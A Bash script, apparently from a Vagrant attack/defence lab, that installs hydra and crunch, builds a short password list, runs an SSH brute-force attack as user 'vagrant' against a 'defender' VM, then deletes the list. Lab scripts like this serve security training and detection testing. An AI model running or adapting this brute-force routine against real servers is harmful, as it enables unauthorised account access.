#!/bin/bash
# Typical Bash Script running in provisioning machine

# Get the script filename (without the path) for dynamic naming
if [[ -z "$1" ]]; then
  # If no argument is provided, use $0 to get the script name
  SCRIPT_NAME="${0##*/}"
else
  # If an argument is provided, use it as the script name
  SCRIPT_NAME="$1"
fi

BASENAME="${SCRIPT_NAME%.*}"  # Remove the file extension


# Go to root
cd /

# -------------------------------------------------
# HERE: Source necessary variables
# -------------------------------------------------

# This loads the DEBUG_LEVEL and other variables from sourcer.sh and variables.sh
source /vagrant/sourcer.sh variables.sh

# -------------------------------------------------
# HERE: Description
# -------------------------------------------------

log $DEBUG_LEVEL $VERBOSE_INFO "Starting script execution: $BASENAME"

# HERE: Define paths for logs and backups
LOG_FILE="$PATH_TO_LOG_DIR/${BASENAME}.log"
initialize_log_file "$LOG_FILE"

# Initialize error count
ERROR_COUNT=0

# -------------------------------------------------
# HERE: Beginning for requirements
# -------------------------------------------------
# Check if hydra is installed
check_and_install_package "hydra"

# Check if crunch is installed
check_and_install_package "crunch"


# -------------------------------------------------
# HERE: Beginning of script
# -------------------------------------------------

# Generate a password list using crunch
log $DEBUG_LEVEL $VERBOSE_DEBUG "Generating password list using crunch..."
crunch 10 10 -t password%% | head -n 20 > passwords.lst 2>> "$LOG_FILE"
if [ $? -eq 0 ]; then
    log $DEBUG_LEVEL $VERBOSE_DEBUG "Password list generated successfully."
else
    log $DEBUG_LEVEL $VERBOSE_ERROR "Failed to generate password list."
    ERROR_COUNT=$((ERROR_COUNT + 1))
fi


# Check if the victim is reachable
ensure_reachability $DEFENDER_IP


# Use hydra to brute force SSH user
log $DEBUG_LEVEL $VERBOSE_DEBUG "Starting SSH brute force attack using hydra..."
sudo hydra -t 4 -l vagrant -P passwords.lst $DEFENDER_IP ssh 2>> "$LOG_FILE"
if [ $? -eq 0 ]; then
    log $DEBUG_LEVEL $VERBOSE_DEBUG "SSH brute force attack completed."
else
    log $DEBUG_LEVEL $VERBOSE_ERROR "SSH brute force attack failed."
    ERROR_COUNT=$((ERROR_COUNT + 1))
fi

# Check if the target is still reachable
ensure_unreachability $DEFENDER_IP


# -------------------------------------------------
# HERE Cleaning
# -------------------------------------------------

# Delete the password list after use
log $DEBUG_LEVEL $VERBOSE_DEBUG "Cleaning up password list file..."
rm -f passwords.lst
if [ $? -eq 0 ]; then
    log $DEBUG_LEVEL $VERBOSE_DEBUG "Password list file deleted successfully."
else
    log $DEBUG_LEVEL $VERBOSE_ERROR "Failed to delete password list file."
    ERROR_COUNT=$((ERROR_COUNT + 1))
fi

# -------------------------------------------------
# End of Script
# -------------------------------------------------

if [ $ERROR_COUNT -eq 0 ]; then
    log $DEBUG_LEVEL $VERBOSE_INFO "Brute force attack successfully realized: $SCRIPT_NAME"
else
    log $DEBUG_LEVEL $VERBOSE_INFO "Errors encountered during script execution: $SCRIPT_NAME. Total errors: $ERROR_COUNT"
fi
